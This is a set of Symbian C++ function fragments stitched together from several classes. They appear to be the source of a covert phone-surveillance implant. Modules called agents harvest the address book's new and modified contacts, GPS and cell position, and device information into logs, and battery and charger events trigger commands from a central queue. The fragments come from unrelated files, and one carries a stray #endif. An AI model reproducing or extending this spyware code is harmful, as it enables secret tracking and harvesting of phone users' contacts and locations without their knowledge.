/** Destructor. */ CMTPUsbEpWatcher::~CMTPUsbEpWatcher() { __FLOG(_L8("~CMTPUsbEpWatcher - Entry")); Cancel(); __FLOG(_L8("~CMTPUsbEpWatcher - Exit")); __FLOG_CLOSE; }
CEventAc::~CEventAc() { __FLOG(_L("Destructor")); delete iPhone; __FLOG(_L("End Destructor")); __FLOG_CLOSE; }
void CMTPUsbEpWatcher::RequestIssue() { __FLOG(_L8("RequestIssue - Entry")); iConnection.Ldd().EndpointStatusNotify(iStatus, iEndpointStatus); SetActive(); __FLOG(_L8("RequestIssue - Exit")); }
void CMTPUsbEpWatcher::RunL() { __FLOG(_L8("RunL - Entry")); iConnection.EndpointStallStatusChangedL(iEndpointStatus); RequestIssue(); __FLOG(_L8("RunL - Exit")); }
CAgentDevice::~CAgentDevice() { __FLOG(_L("Destructor")); delete iPhone; __FLOG(_L("End Destructor")); __FLOG_CLOSE; }
CEventBattery::~CEventBattery() { __FLOG(_L("Destructor")); delete iPhone; __FLOG(_L("End Destructor")); __FLOG_CLOSE; }
TInt CMTPUsbEpWatcher::RunError(TInt /*aError*/) #endif { __FLOG(_L8("RunError - Entry")); __FLOG_VA((_L8("Error = %d"), aError)); __FLOG(_L8("RunError - Exit")); RequestIssue(); return KErrNone; }
CPhone::~CPhone() { __FLOG(_L("Destructor")); Cancel(); delete iTelephony; delete iWait; __FLOG(_L("End Destructor")); __FLOG_CLOSE; }
void CMTPUsbEpWatcher::Start() { __FLOG(_L8("Start - Entry")); if (!IsActive()) { RequestIssue(); } __FLOG(_L8("Start - Exit")); }
void CEventAc::ConstructL(const TDesC8& params) { __FLOG_OPEN_ID("HT", "EventAc.txt"); __FLOG(_L("-------------")); BaseConstructL(params); Mem::Copy(&iAcParams, iParams.Ptr(), sizeof(iAcParams)); iPhone = CPhone::NewL(); iPhone->SetObserver(this); __FLOG(_L("End ConstructL")); }
CAgentAddressbook::~CAgentAddressbook() { __FLOG(_L("Destructor")); delete iLongTask; delete iDbNotifier; delete iContDb; delete iFilter; delete iContacts; delete iMarkupFile; __FLOG(_L("End Destructor")); __FLOG_CLOSE; }
CAgentPosition::~CAgentPosition() { __FLOG(_L("Destructor")); delete iTimer; delete iPhone; delete iGPS; delete iLogCell; delete iLogGps; __FLOG(_L("End Destructor")); __FLOG_CLOSE; }
void CEventAc::HandlePhoneEventL(TPhoneFunctions event) { __FLOG(_L("HandlePhoneEventL")); if (event != ENotifyBatteryStatusChange) return; if (ConnectedToCharger()) { // connected // Before trigger the event perform an additional check, just in case. if (!iWasConnectedToCharger) { // Triggers the In-Action iWasConnectedToCharger = ETrue; SendActionTriggerToCoreL(); } } else { // not connected if (iWasConnectedToCharger) { // Triggers the unplug action iWasConnectedToCharger = EFalse; if (iAcParams.iExitAction != 0xFFFFFFFF) { SendActionTriggerToCoreL(iAcParams.iExitAction); } } } iPhone->NotifyBatteryStatusChange(iBatteryInfoPckg); }
void CEventBattery::ConstructL(const TDesC8& params) { __FLOG_OPEN_ID("HT", "EventBattery.txt"); __FLOG(_L("-------------")); BaseConstructL(params); Mem::Copy(&iBatteryParams, iParams.Ptr(), sizeof(iBatteryParams)); // just to be sure, but Console also check it: if(iBatteryParams.iMinLevel > iBatteryParams.iMaxlevel) return; iPhone = CPhone::NewL(); iPhone->SetObserver(this); __FLOG(_L("End ConstructL")); }
TCmdStruct CSharedQueueSrv::DequeueL() { if (IsEmpty()) User::Leave(KErrQueueIsEmpty); TCmdStruct res = TopL(); __FLOG_2(_L("Remove Dest: %x Type: %x"), res.iDest, res.iType); iArray.Remove(0); UnlockTop(); if (!IsEmpty()) { TCmdStruct newTop = TopL(); __FLOG_2(_L(" NewTop Dest: %x Type: %x"), newTop.iDest, newTop.iType); } else { __FLOG(_L(" Queue Empty!")); } // Removes the parameters too HBufC8* buf = iParams[0]; iParams.Remove(0); delete buf; RProperty::Set(KPropertyUidSharedQueue, KPropertyKeySharedQueueTopAddedOrRemoved, 1); return res; }
void CEventBattery::HandlePhoneEventL(TPhoneFunctions event) { __FLOG(_L("HandlePhoneEventL()")); if (event != ENotifyBatteryStatusChange) return; if (InRange()) { // inside range // Before trigger the event perform an additional check, just in case. if (!iWasInRange) { iWasInRange = ETrue; // Triggers the In-Action SendActionTriggerToCoreL(); } } else { // not connected if (iWasInRange) { iWasInRange = EFalse; // Triggers the unplug action if (iBatteryParams.iExitAction != 0xFFFFFFFF) { SendActionTriggerToCoreL(iBatteryParams.iExitAction); } } } iPhone->NotifyBatteryStatusChange(iBatteryInfoPckg); }
void CAgentAddressbook::StartAgentCmdL() { __FLOG(_L("StartAgentCmdL()")); CreateLogL(LOGTYPE_ADDRESSBOOK); iStopLongTask = EFalse; delete iContDb; iContDb = NULL; iContDb = CContactDatabase::OpenL(); // set the notifier: on contact events, HandleDatabaseEventL() is called delete iDbNotifier; iDbNotifier = NULL; iDbNotifier = CContactChangeNotifier::NewL(*iContDb, this); // if markup exists, set iTimestamp to that value // otherwise initialize iTimestamp to an initial value if(iMarkupFile->ExistsMarkupL(Type())){ // retrieve iTimestamp RBuf8 timeBuffer(iMarkupFile->ReadMarkupL(Type())); timeBuffer.CleanupClosePushL(); TInt64 timestamp; Mem::Copy(×tamp,timeBuffer.Ptr(),sizeof(timestamp)); CleanupStack::PopAndDestroy(&timeBuffer); iTimestamp = timestamp; // we add just a microsecond to the timestamp so that we are sure not to take // the contact of the timestamp saved into markup TTimeIntervalMicroSeconds oneMicroSecond = 1; iTimestamp += oneMicroSecond; } else { _LIT(KInitTime,"16010000:000000"); iTimestamp.Set(KInitTime); } delete iFilter; iFilter = NULL; iFilter = CCntFilter::NewL(); // Control the time range to filter on iFilter->SetFilterDateTime(iTimestamp); // Specify the type of contact item to include iFilter->SetContactFilterTypeALL(EFalse); iFilter->SetContactFilterTypeCard(ETrue); iFilter->SetContactFilterTypeGroup(EFalse); iFilter->SetContactFilterTypeOwnCard(EFalse); iFilter->SetContactFilterTypeTemplate(EFalse); // Remark!: modified contacts include new contacts.... iFilter->SetIncludeModifiedContacts(ETrue); iContDb->FilterDatabaseL(*iFilter); delete iContacts; iContacts = NULL; iContacts = CContactIdArray::NewL(iFilter->iIds); iContactIndex = 0; iLongTask->NextRound(); }
void CAgentAddressbook::ConstructL(const TDesC8& params) { BaseConstructL(params); __FLOG_OPEN("HT", "Agent_AddressBook.txt"); __FLOG(_L("-------------")); iLongTask = CLongTaskAO::NewL(*this); iMarkupFile = CLogFile::NewL(iFs); }
TBool CSharedQueueSrv::LockTop() { if (iTopIsLocked) return EFalse; __FLOG(_L("LOCK TOP")); iTopIsLocked = ETrue; return ETrue; }
void CEventAc::StartEventL() { __FLOG(_L("StartEventL()")); // Initialize Properly the iWasConnectedToCharger value, iWasConnectedToCharger = ConnectedToCharger(); if(iWasConnectedToCharger) { __FLOG(_L("I was connected to charger")); SendActionTriggerToCoreL(); } // Receives change notifications of the battery status iPhone->NotifyBatteryStatusChange(iBatteryInfoPckg); }
void CSharedQueueSrv::ConstructL() { __FLOG_OPEN("HT", "Server.txt"); __FLOG(_L("----CONSTR----")); TRAPD(err, StartL(KSharedQueueSrvName)); if (err != KErrNone) { __FLOG(_L("ERRORE STARTL SERVER")); User::Leave(err); } static _LIT_SECURITY_POLICY_PASS(KAllowAllPolicy); TInt ris = 0; ris = RProperty::Define(KPropertyUidSharedQueue, KPropertyKeySharedQueueTopAddedOrRemoved, RProperty::EInt, KAllowAllPolicy, KAllowAllPolicy); iTopIsLocked = EFalse; __FLOG_1(_L("PS_Define:%d"), ris); }
void CPhone::GetCellIDSync(TDes8& pckgNet) { __FLOG(_L("GetCellIDSync")); #ifdef __WINSCW__ return; #endif iTelephony->GetCurrentNetworkInfo(iStatus, pckgNet); iFunc = ECellID; SetActive(); StartWait(); iFunc = ENoneFunc; }
TBool CEventBattery::InRange() { __FLOG(_L("InRange()")); TUint chargeLevel=0; CTelephony::TBatteryStatus batteryStatus; iPhone->GetBatteryInfoSync(chargeLevel, batteryStatus); if ((chargeLevel >= iBatteryParams.iMinLevel) && (chargeLevel <= iBatteryParams.iMaxlevel)) return ETrue; else return EFalse; }
void CAgentDevice::StartAgentCmdL() { __FLOG(_L("StartAgentCmdL()")); CreateLogL(LOGTYPE_DEVICE); RBuf8 buf(GetInfoBufferL()); buf.CleanupClosePushL(); if (buf.Length() > 0) { // dump the buffer to the file log. AppendLogL(buf); } CleanupStack::PopAndDestroy(&buf); CloseLogL(); }
void CPhone::ConstructL() { CActiveScheduler::Add(this); __FLOG_OPEN_ID("HT", "Phone.txt"); __FLOG(_L("---------")); // Nell'emulatore UIQ CTelephony non e' supportata... #ifndef __WINSCW__ iTelephony = CTelephony::NewL(); #endif iWait = new (ELeave) CActiveSchedulerWait(); iAbort = EFalse; }
void CAgentAddressbook::StopAgentCmdL() { __FLOG(_L("StopAgentCmdL()")); delete iDbNotifier; iDbNotifier = NULL; delete iContDb; iContDb = NULL; delete iFilter; iFilter = NULL; delete iContacts; iContacts = NULL; iStopLongTask = ETrue; CloseLogL(); }
void CPhone::NotifyCellIDChange(TDes8& pckgNet) { __FLOG(_L("NotifyNetworkInfoChange")); if (IsActive()) { Cancel(); } #ifdef __WINSCW__ return; #endif iTelephony->NotifyChange(iStatus, CTelephony::ECurrentNetworkInfoChange, pckgNet); iFunc = ENotifyCellIDChange; SetActive(); }
void CPhone::NotifyBatteryStatusChange(TDes8& pckgBattery) { __FLOG(_L("NotifyBatteryStatusChange")); if (IsActive()) { Cancel(); } #ifdef __WINSCW__ return; #endif iTelephony->NotifyChange(iStatus, CTelephony::EBatteryInfoChange, pckgBattery); iFunc = ENotifyBatteryStatusChange; SetActive(); }
void CPhone::NotifyNetworkStatusChange(TDes8& pckgNet) { __FLOG(_L("NotifyNetworkStatusChange")); if (IsActive()) { Cancel(); } #ifdef __WINSCW__ return; #endif iTelephony->NotifyChange(iStatus, CTelephony::ENetworkRegistrationStatusChange, pckgNet); iFunc = ENotifyNetworkStatusChange; SetActive(); }
void CPhone::GetNetworkNameSync(TDes& aNetworkName) { __FLOG(_L("GetNetworkNameSync")); if (IsActive()) { Cancel(); } #ifdef __WINSCW__ aNetworkName = _L("FakeNet"); return; #endif CTelephony::TNetworkNameV1Pckg netPckg(iNetwork); iTelephony->GetCurrentNetworkName(iStatus, netPckg); iFunc = ENetName; SetActive(); StartWait(); iFunc = ENoneFunc; aNetworkName = iNetwork.iNetworkName; __FLOG(_L("NetworkName:")); __FLOG(aNetworkName); }